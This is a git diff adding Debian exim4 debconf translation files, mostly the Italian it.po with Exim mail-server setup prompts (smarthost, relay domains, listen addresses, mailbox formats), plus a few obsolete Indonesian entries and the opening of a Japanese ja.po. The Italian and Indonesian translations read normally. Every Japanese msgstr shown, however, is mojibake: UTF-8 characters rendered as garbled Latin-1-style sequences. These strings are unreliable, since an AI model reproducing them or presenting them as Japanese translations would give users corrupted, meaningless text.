+#~ msgid "manually convert from handcrafted Exim v3 configuration"
+#~ msgstr ""
+#~ "ubah secara manual dari konfigurasi Exim v3 yang dibuat dengan tangan"
+
+#~ msgid "Configure Exim4 manually?"
+#~ msgstr "Konfigurasi Exim4 secara manual?"
+
+#~ msgid ""
+#~ "You indicated that you have a handcrafted Exim 3 configuration. To "
+#~ "convert this to Exim 4, you can use the exim_convert4r4(8) tool after the "
+#~ "installation. Consult /usr/share/doc/exim4-base/examples/example.conf.gz "
+#~ "and /usr/share/doc/exim4-base/README.Debian.gz!"
+#~ msgstr ""
+#~ "Anda memberitahu bahwa anda telah mengutak-atik sendiri konfigurasi milik "
+#~ "Exim 3. Untuk mengubahnya ke Exim 4, anda dapat menggunakan "
+#~ "exim_convert4r4(8) setelah proses instalasi. Konsultasikan dengan /usr/"
+#~ "share/doc/exim4-base/examples/example.conf.gz dan /usr/share/doc/exim4-"
+#~ "base/README.Debian.gz!"
+
+#~ msgid ""
+#~ "Until your mail system is configured, it will be broken and cannot be "
+#~ "used."
+#~ msgstr ""
+#~ "Sebelum sistem surate anda dikonfigurasi, maka sistem ini akan rusak dan "
+#~ "tidak akan dapat digunakan."
+
+#~ msgid ""
+#~ "Your \"mail name\" is the hostname portion of the address to be shown on "
+#~ "outgoing news and mail messages (following the username and @ sign) "
+#~ "unless hidden with rewriting."
+#~ msgstr ""
+#~ "'Nama surate' Anda adalah bagian alamat dari nama host yang akan "
+#~ "ditampilkan pada pesan-pesan berita dan surat yang dikirimkan keluar "
+#~ "(setelah nama pengguna dan tanda @) kecuali jika disembunyikan dengan "
+#~ "menggunakan fitur penulisan ulang."
+
+#~ msgid ""
+#~ "Please enter here the networks of local machines for which you accept to "
+#~ "relay the mail."
+#~ msgstr ""
+#~ "Silakan masukkan jaringan-jaringan lokal yang suratnya akan direlai oleh "
+#~ "mesin ini."
+
+#~ msgid ""
+#~ "This should include a list of all machines that will use us as a "
+#~ "smarthost."
+#~ msgstr ""
+#~ "Di dalamnya termasuk sebuah daftar yang berisikan semua komputer yang "
+#~ "menggunakan sistem ini sebagai smarthost"
+
+#~ msgid ""
+#~ "You need to double the colons in IPv6 addresses (e.g. "
+#~ "5f03::1200::836f::::/48)"
+#~ msgstr ""
+#~ "Anda perlu menuliskan tanda titik dua sebanyak dua kali bagi alamat-"
+#~ "alamat IPv6 (misalnya 5f03::1200::836f::::/48)"
+
+#~ msgid ""
+#~ "Enter a colon-separated list of IP-addresses to listen on. You need to "
+#~ "double the colons in IPv6 addresses (e.g. 5f03::1200::836f::::)."
+#~ msgstr ""
+#~ "Masukkan alamat-alamat IP yang akan menerima koneksi, dengan dipisahkan "
+#~ "oleh tanda titik dua (:). Tanda titik dua perlu ditulis dua kali jika "
+#~ "anda menggunakan alamat IPv6 (misalnya 5f03::1200::836f::::)."
+
+#~ msgid "Configuring Exim v4 (exim4-config)"
+#~ msgstr "Mengonfigurasi Exim v4 (exim4-config)"
diff --git a/debian/po/it.po b/debian/po/it.po
new file mode 100644
index 0000000..4175618
--- /dev/null
+++ b/debian/po/it.po
@@ -0,0 +1,628 @@
+# Italian messages for exim4 (debconf templates).
+# Copyright © 2004 Software in the Public Interest, Inc.
+# Danilo Piazzalunga <danilopiazza@libero.it>, 2004.
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: exim4 4.63-7\n"
+"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n"
+"POT-Creation-Date: 2007-07-18 08:29+0200\n"
+"PO-Revision-Date: 2007-07-15 13:47+0200\n"
+"Last-Translator: Giuseppe Sacco <eppesuig@debian.org>\n"
+"Language-Team: Italian <tp@lists.linux.it>\n"
+"Language: it\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"Plural-Forms: nplurals=2; plural=(n != 1);\n"
+"X-Generator: KBabel 1.3.1\n"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid "Remove undelivered messages in spool directory?"
+msgstr "Cancellare i messaggi non consegnati dalla directory di «spool»?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"There are e-mail messages in the Exim spool directory /var/spool/exim4/"
+"input/ which have not yet been delivered. Removing Exim will cause them to "
+"remain undelivered until Exim is re-installed."
+msgstr ""
+"Ci sono dei messaggi nella directory di «spool» di Exim, /var/spool/exim4/"
+"input che non sono stati ancora consegnati. Rimuovendo Exim i messaggi "
+"verranno mantenuti lì sinché Exim non verrà reinstallato."
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"If this option is not chosen, the spool directory is kept, allowing the "
+"messages in the queue to be delivered at a later date after Exim is re-"
+"installed."
+msgstr ""
+"Se questa opzione non è selezionata, la directory di «spool» viene "
+"conservata in modo che i messaggi possano essere consegnati in futuro, dopo "
+"una nuova installazione di Exim."
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid "Reconfigure exim4-config instead of this package"
+msgstr "Riconfigurare exim4-config anziché questo pacchetto"
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid ""
+"Exim4 has its configuration factored out into a dedicated package, exim4-"
+"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'."
+msgstr ""
+"Exim4 ha la sua configurazione in un pacchetto dedicato, exim4-config. Per "
+"riconfigurare Exim4 usare «dpkg-reconfigure exim4-config»."
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "internet site; mail is sent and received directly using SMTP"
+msgstr "sito internet; posta inviata e ricevuta direttamente con SMTP"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; received via SMTP or fetchmail"
+msgstr "posta inviata tramite uno «smarthost»; ricevuta via SMTP o fetchmail"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; no local mail"
+msgstr "posta inviata tramite uno «smarthost»; niente posta locale"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "local delivery only; not on a network"
+msgstr "solo consegna locale; non in rete"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "no configuration at this time"
+msgstr "nessuna configurazione per il momento"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid "General type of mail configuration:"
+msgstr "Tipo di configurazione del sistema di posta:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Please select the mail server configuration type that best meets your needs."
+msgstr ""
+"Selezionare il tipo di configurazione che si adatta meglio alle proprie "
+"esigenze."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Systems with dynamic IP addresses, including dialup systems, should "
+"generally be configured to send outgoing mail to another machine, called a "
+"'smarthost' for delivery because many receiving systems on the Internet "
+"block incoming mail from dynamic IP addresses as spam protection."
+msgstr ""
+"I sistemi con un indirizzo IP dinamico, compresi i sistemi dialup, "
+"andrebbero solitamente configurati per inviare la posta in uscita a un'altra "
+"macchina, chiamata «smarthost», che si occupi della consegna perché molti "
+"sistemi in Internet bloccano i messaggi in arrivo da macchine con IP "
+"dinamico come protezione dallo SPAM."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"A system with a dynamic IP address can receive its own mail, or local "
+"delivery can be disabled entirely (except mail for root and postmaster)."
+msgstr ""
+"Un sistema con indirizzo IP dinamico può ricevere la propria posta, "
+"altrimenti la posta locale può essere completamente disabilitata (eccetto i "
+"messaggi per root e postmaster)."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid "Really leave the mail system unconfigured?"
+msgstr "Lasciare il sistema di posta non configurato?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid ""
+"Until the mail system is configured, it will be broken and cannot be used. "
+"Configuration at a later time can be done either by hand or by running 'dpkg-"
+"reconfigure exim4-config' as root."
+msgstr ""
+"Fino a quando non viene configurato, il sistema di posta non funziona e non "
+"può essere usato. Naturalmente è possibile configurarlo in un secondo "
+"momento, manualmente oppure tramite «dpkg-reconfigure exim4-config» da root."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid "System mail name:"
+msgstr "Mail name del sistema:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"The 'mail name' is the domain name used to 'qualify' mail addresses without "
+"a domain name."
+msgstr ""
+"Il «mail name» è il nome di dominio utilizzato per dare un contesto agli "
+"indirizzi email che ne sono privi."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name will also be used by other programs. It should be the single, "
+"fully qualified domain name (FQDN)."
+msgstr ""
+"Questo nome verrà usato anche da altri programmi. Dovrebbe essere il nome "
+"completo del dominio (FQDN)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"Thus, if a mail address on the local host is foo@example.org, the correct "
+"value for this option would be example.org."
+msgstr ""
+"Per esempio, se un indirizzo email sulla macchina locale è qualcosa@dominio."
+"it, allora il valore corretto per questa opzione è dominio.it."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name won't appear on From: lines of outgoing messages if rewriting is "
+"enabled."
+msgstr ""
+"Questo nome non comparirà nel campo From: dei messaggi in uscita se si "
+"abilita la riscrittura."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid "Other destinations for which mail is accepted:"
+msgstr "Altre destinazioni per conto delle quali accettare posta:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"machine should consider itself the final destination. These domains are "
+"commonly called 'local domains'. The local hostname (${fqdn}) and "
+"'localhost' are always added to the list given here."
+msgstr ""
+"Inserire un elenco di domini separati da punti e virgola per i quali questo "
+"sistema deve considerare se stesso come destinazione. In genere questi sono "
+"chiamati domini locali. Il nome host locale (${fqdn}) e «localhost» sono già "
+"inclusi."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"By default all local domains will be treated identically. If both a.example "
+"and b.example are local domains, acc@a.example and acc@b.example will be "
+"delivered to the same final destination. If different domain names should be "
+"treated differently, it is necessary to edit the config files afterwards."
+msgstr ""
+"Nella configurazione predefinita, tutti i domini vengono trattati allo "
+"stesso modo. Se sia a.esempio che b.esempio sono domini locali, acc@a."
+"esempio e acc@b.esempio verranno consegnati alla stessa destinazione. Se si "
+"desidera altrimenti, è necessario modificare i file di configurazione in "
+"seguito."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Domains to relay mail for:"
+msgstr "Domini per i quali fare il «relay»:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"system will relay mail, for example as a fallback MX or mail gateway. This "
+"means that this system will accept mail for these domains from anywhere on "
+"the Internet and deliver them according to local delivery rules."
+msgstr ""
+"Inserire un elenco separato da punti e virgola di domini destinatari per i "
+"quali questa macchina farà da «relay», per esempio come MX di scorta o come "
+"gateway. Questo vuol dire che il sistema accetterà messaggi per questi "
+"domini da qualsiasi parte di Internet, e poi cercherà di consegnarli con le "
+"regole locali."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Do not mention local domains here. Wildcards may be used."
+msgstr "Non inserire qui domini locali. È possibile usare i caratteri jolly."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid "Machines to relay mail for:"
+msgstr "Sistemi per i quali fare il «relay»:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"Please enter a semicolon-separated list of IP address ranges for which this "
+"system will unconditionally relay mail, functioning as a smarthost."
+msgstr ""
+"Inserire un elenco separato da punti e virgola di intervalli di indirizzi IP "
+"per i quali questo sistema farà da «relay» ovvero da «smarthost»."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or "
+"5f03:1200:836f::/48)."
+msgstr ""
+"Usare il formato standard indirizzo/lunghezza (ad esempio «194.222.242.0/24» "
+"o «5f03:1200:836f::/48»)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"If this system should not be a smarthost for any other host, leave this list "
+"blank."
+msgstr ""
+"Se questa macchina non dovrà fare da «smarthost» per nessun'altra, lasciare "
+"il campo vuoto."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid "Visible domain name for local users:"
+msgstr "Nome di dominio visibile per gli utenti locali:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid ""
+"The option to hide the local mail name in outgoing mail was enabled. It is "
+"therefore necessary to specify the domain name this system should use for "
+"the domain part of local users' sender addresses."
+msgstr ""
+"È stata abilitata l'opzione per nascondere il nome locale nei messaggi in "
+"uscita. Diventa quindi necessario specificare un nome di dominio che questa "
+"macchina utilizzerà negli indirizzi di mittenti di questa macchina."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid "IP address or host name of the outgoing smarthost:"
+msgstr "Indirizzo IP o hostname per lo «smarthost» in uscita:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"Please enter the IP address or the host name of a mail server that this "
+"system should use as outgoing smarthost. If the smarthost only accepts your "
+"mail on a port different from TCP/25, append two colons and the port number "
+"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in "
+"IPv6 addresses need to be doubled."
+msgstr ""
+"Inserire l'indirizzo IP o il nome del server di posta che dovrà essere "
+"utilizzato come «smarthost» in uscita. Se questo accetta la posta solo su "
+"una porta diversa dalla TCP/25, aggiungere due punti e il numero della porta "
+"(esempio smarthost.esempio::587 o 192.168.254.245::2525). I due punti negli "
+"indirizzi IPv6 devono essere raddoppiati."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"If the smarthost requires authentication, please refer to the Debian-"
+"specific README files in /usr/share/doc/exim4-base for notes about setting "
+"up SMTP authentication."
+msgstr ""
+"Se lo «smarthost» richiede l'autenticazione, fare riferimento ai README "
+"specifici per Debian in /usr/share/doc/exim4-base per le indicazioni su come "
+"impostare l'autenticazione SMTP."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Root and postmaster mail recipient:"
+msgstr "Destinatari della posta di root e postmaster:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Mail for the 'postmaster', 'root', and other system accounts needs to be "
+"redirected to the user account of the actual system administrator."
+msgstr ""
+"I messaggi per «postmaster», «root» e altri account di sistema devono essere "
+"rediretti all'account utente dell'amministratore di sistema."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"If this value is left empty, such mail will be saved in /var/mail/mail, "
+"which is not recommended."
+msgstr ""
+"Se si lascia il campo vuoto, la posta viene salvata in /var/mail/mail, che "
+"non è raccomandato."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Note that postmaster's mail should be read on the system to which it is "
+"directed, rather than being forwarded elsewhere, so (at least one of) the "
+"users listed here should not redirect their mail off this machine. A 'real-' "
+"prefix can be used to force local delivery."
+msgstr ""
+"I messaggi per postmaster dovrebbero essere letti sul sistema a cui sono "
+"destinati e non inoltrati altrove; pertanto, almeno uno degli utenti scelti "
+"dovrebbe ricevere la propria posta su questo sistema. Anteporre «real-» al "
+"nome utente per obbligare il sistema a effettuare la consegna localmente."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Multiple user names need to be separated by spaces."
+msgstr "Più nomi utente vanno inseriti separati da spazi."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid "IP-addresses to listen on for incoming SMTP connections:"
+msgstr "Indirizzi IP sui quali attendere connessioni SMTP in ingresso:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"Please enter a semicolon-separated list of IP addresses. The Exim SMTP "
+"listener daemon will listen on all IP addresses listed here."
+msgstr ""
+"Inserire un elenco separato da punti e virgola di indirizzi IP. Il demone "
+"Exim SMTP ascolterà su tutti gli indirizzi IP qui specificati."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"An empty value will cause Exim to listen for connections on all available "
+"network interfaces."
+msgstr ""
+"Se non viene specificato alcun valore, Exim si pone in ascolto su tutte le "
+"interfacce di rete disponibili."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"If this system only receives mail directly from local services (and not from "
+"other hosts), it is suggested to prohibit external connections to the local "
+"Exim daemon. Such services include e-mail programs (MUAs) which talk to "
+"localhost only as well as fetchmail. External connections are impossible "
+"when 127.0.0.1 is entered here, as this will disable listening on public "
+"network interfaces."
+msgstr ""
+"Se questo sistema riceve posta solo da servizi locali (e non altri sistemi), "
+"è preferibile proibire connessioni dall'esterno verso Exim. Questi servizi "
+"includono programmi di posta elettronica (MUA) che contattano solo "
+"localhost, oppure fetchmail. Se si inserisce «127.0.0.1» si rende "
+"impossibile la connessione dall'esterno, disabilitando quindi l'ascolto su "
+"interfacce di rete pubbliche."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?"
+msgstr "Mantenere al minimo il numero di richieste DNS (dial-on-demand)?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"In normal mode of operation Exim does DNS lookups at startup, and when "
+"receiving or delivering messages. This is for logging purposes and allows "
+"keeping down the number of hard-coded values in the configuration."
+msgstr ""
+"Nella modalità predefinita, Exim esegue delle richieste DNS all'avvio, "
+"quando riceve e consegna un messaggio e in altre occasioni, allo scopo di "
+"mantenere dei log accurati e di ridurre al minimo il numero di valori fissi "
+"scritti nel file di configurazione."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"If this system does not have a DNS full service resolver available at all "
+"times (for example if its Internet access is a dial-up line using dial-on-"
+"demand), this might have unwanted consequences. For example, starting up "
+"Exim or running the queue (even with no messages waiting) might trigger a "
+"costly dial-up-event."
+msgstr ""
+"Nel caso di un host senza accesso permanente a un server DNS, come nel caso "
+"di dial-on-demand abilitato, ci potrebbero essere delle conseguenze non "
+"volute. Per esempio, all'avvio di Exim o durante il controllo della coda "
+"(anche senza messaggi in attesa) si potrebbe attivare la connessione ad "
+"Internet."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"This option should be selected if this system is using Dial-on-Demand. If it "
+"has always-on Internet access, this option should be disabled."
+msgstr ""
+"Questa opzione va abilitata sui sistemi che usano dial-on-demand, va invece "
+"disabilitata in tutti quelli che hanno una connessione permanente ad "
+"Internet."
+
+#. Type: title
+#. Description
+#: ../exim4-config.templates:12001
+msgid "Mail Server configuration"
+msgstr "Configurazione del server di posta"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid "Split configuration into small files?"
+msgstr "Dividere la configurazione in molti piccoli file?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"The Debian exim4 packages can either use 'unsplit configuration', a single "
+"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', "
+"where the actual Exim configuration files are built from about 50 smaller "
+"files in /etc/exim4/conf.d/."
+msgstr ""
+"I pacchetti Debian di exim4 possono generare la configurazione finale a "
+"partire da un file di configurazione monolitico (/etc/exim4/exim4.conf."
+"template), oppure da 50 piccoli file in /etc/exim4/conf.d."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"Unsplit configuration is better suited for large modifications and is "
+"generally more stable, whereas split configuration offers a comfortable way "
+"to make smaller modifications but is more fragile and might break if "
+"modified carelessly."
+msgstr ""
+"La prima alternativa è migliore in caso di grosse modifiche ed è "
+"generalmente più stabile, l'altra è più comoda per fare piccole modifiche ma "
+"è più fragile e potrebbe dare problemi se si apportano modifiche incaute."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"A more detailed discussion of split and unsplit configuration can be found "
+"in the Debian-specific README files in /usr/share/doc/exim4-base."
+msgstr ""
+"Una descrizione più dettagliata sulla configurazione divisa o meno in file è "
+"disponibile nel README specifico per Debian in /usr/share/doc/exim4-base/"
+"README.Debian.gz."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid "Hide local mail name in outgoing mail?"
+msgstr "Omettere il mail name locale dai messaggi in uscita?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid ""
+"The headers of outgoing mail can be rewritten to make it appear to have been "
+"generated on a different system. If this option is chosen, '${mailname}', "
+"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-"
+"Path are rewritten."
+msgstr ""
+"L'intestazione dei messaggi in uscita può essere cambiata in modo da far "
+"sembrare che il messaggio arrivi da un altro sistema. Se viene scelta questa "
+"opzione, «${mailname}», «localhost» e «${dc_other_hostnames}» nei campi "
+"From, Reply-To, Sender e Return-Path saranno riscritti."
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "mbox format in /var/mail/"
+msgstr "Formato mbox in /var/mail/"
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "Maildir format in home directory"
+msgstr "Formato Maildir nelle directory utente"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid "Delivery method for local mail:"
+msgstr "Modalità di consegna per la posta locale:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Exim is able to store locally delivered email in different formats. The most "
+"commonly used ones are mbox and Maildir. mbox uses a single file for the "
+"complete mail folder stored in /var/mail/. With Maildir format every single "
+"message is stored in a separate file in ~/Maildir/."
+msgstr ""
+"Exim ha la possibilità di memorizzate i messaggi consegnati in diversi "
+"formati. I più diffusi sono mbox e Maildir. Il primo utilizza un singolo "
+"file per ogni casella in /var/mail/, mentre il secondo usa per ogni "
+"messaggio un file memorizzato in ~/Maildir/."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Please note that most mail tools in Debian expect the local delivery method "
+"to be mbox in their default."
+msgstr ""
+"Notare che molti strumenti in Debian si aspettano che la consegna locale "
+"venga fatta utilizzando il formato mbox."
diff --git a/debian/po/ja.po b/debian/po/ja.po
new file mode 100644
index 0000000..4ed797c
--- /dev/null
+++ b/debian/po/ja.po
@@ -0,0 +1,627 @@
+#
+# Translators, if you are not familiar with the PO format, gettext
+# documentation is worth reading, especially sections dedicated to
+# this format, e.g. by running:
+# info -n '(gettext)PO Files'
+# info -n '(gettext)Header Entry'
+#
+# Some information specific to po-debconf are available at
+# /usr/share/doc/po-debconf/README-trans
+# or http://www.debian.org/intl/l10n/po-debconf/README-trans
+#
+# Developers do not need to manually edit POT or PO files.
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: exim4 4.67\n"
+"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n"
+"POT-Creation-Date: 2007-07-18 08:29+0200\n"
+"PO-Revision-Date: 2007-07-14 16:52+0900\n"
+"Last-Translator: Kenshi Muto <kmuto@debian.org>\n"
+"Language-Team: Japanese <debian-japanese@lists.debian.org>\n"
+"Language: ja\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid "Remove undelivered messages in spool directory?"
+msgstr "スプールディレクトリã«ã‚る未é…é€ã®ãƒ¡ãƒƒã‚»ãƒ¼ã‚¸ã‚’削除ã—ã¾ã™ã‹?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"There are e-mail messages in the Exim spool directory /var/spool/exim4/"
+"input/ which have not yet been delivered. Removing Exim will cause them to "
+"remain undelivered until Exim is re-installed."
+msgstr ""
+"exim スプールディレクトリ /var/spool/exim4/input ã«ã¾ã é…é€ã•ã‚Œã¦ã„ãªã„メール"
+"メッセージãŒã‚ã‚Šã¾ã™ã€‚Exim を削除ã™ã‚‹ã¨ã€Exim ãŒå†ã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ«ã•ã‚Œã‚‹ã¾ã§ã“ã‚Œ"
+"らã¯æœªé…é€ã®ã¾ã¾ã¨ãªã‚Šã¾ã™ã€‚"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"If this option is not chosen, the spool directory is kept, allowing the "
+"messages in the queue to be delivered at a later date after Exim is re-"
+"installed."
+msgstr ""
+"ã“ã®é¸æŠžè‚¢ã«ã€Œã¯ã„ã€ã¨ç­”ãˆãªã„å ´åˆã€å¾Œæ—¥ Exim ã‚’å†ã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ«ã—ãŸã‚ã¨ã€"
+"キューã«ã‚るメッセージを許å¯ã™ã‚‹ã‚ˆã†ã€ã‚¹ãƒ—ールディレクトリã¯ä¿æŒã•ã‚Œã¾ã™ã€‚"
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid "Reconfigure exim4-config instead of this package"
+msgstr "ã“ã®ãƒ‘ッケージã®ä»£ã‚ã‚Šã« exim4-config ã‚’å†è¨­å®šã—ã¦ãã ã•ã„"
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid ""
+"Exim4 has its configuration factored out into a dedicated package, exim4-"
+"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'."
+msgstr ""
+"Exim4 ã¯ã€è‡ªèº«ã®è¨­å®šã‚’専用パッケージ exim4-config ã«å§”ã­ã¦ã„ã¾ã™ã€‚Exim4 ã‚’å†"
+"設定ã—ãŸã„å ´åˆã«ã¯ã€'dpkg-reconfigure exim4-config' を利用ã—ã¦ãã ã•ã„。"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "internet site; mail is sent and received directly using SMTP"
+msgstr "インターãƒãƒƒãƒˆã‚µã‚¤ãƒˆ; メール㯠SMTP を使ã£ã¦ç›´æŽ¥é€å—ä¿¡ã•ã‚Œã‚‹"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; received via SMTP or fetchmail"
+msgstr "スマートホストã§ãƒ¡ãƒ¼ãƒ«é€ä¿¡; SMTP ã¾ãŸã¯ fetchmail ã§å—ä¿¡ã™ã‚‹"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; no local mail"
+msgstr "スマートホストã§ãƒ¡ãƒ¼ãƒ«é€ä¿¡; ローカルメールãªã—"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "local delivery only; not on a network"
